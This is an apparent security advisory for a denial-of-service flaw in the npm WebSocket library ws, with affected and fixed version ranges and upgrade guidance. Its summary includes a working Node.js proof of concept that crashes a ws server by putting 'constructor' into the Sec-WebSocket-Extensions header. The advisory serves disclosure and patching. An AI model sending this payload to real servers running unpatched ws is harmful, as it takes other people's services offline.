Denial of Service in ws
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-400.
Summary
Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent. ## Proof of concept ``` const WebSocket = require('ws'); const net = require('net'); const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor' const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r\n' ].join('\r\n'); const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); }); ``` ## Recommendation Update to version 3.3.1 or later.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | ws (npm) | 0.6.0 to before 1.1.5 | 1.1.5 | Patch available | GHSA-5v72-xg48-5rpm |
| — | ws (npm) | 2.0.0 to before 3.3.1 | 3.3.1 | Patch available | GHSA-5v72-xg48-5rpm |
- ws (npm) Vendor— Affected 0.6.0 to before 1.1.5 Fixed in 1.1.5 Patch available GHSA-5v72-xg48-5rpm
- ws (npm) Vendor— Affected 2.0.0 to before 3.3.1 Fixed in 3.3.1 Patch available GHSA-5v72-xg48-5rpm
Remediation
- Fix · GHSA-5v72-xg48-5rpm ws (npm) Fixed in 1.1.5 Advisory →
- Fix · GHSA-5v72-xg48-5rpm ws (npm) Fixed in 3.3.1 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-5v72-xg48-5rpm
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences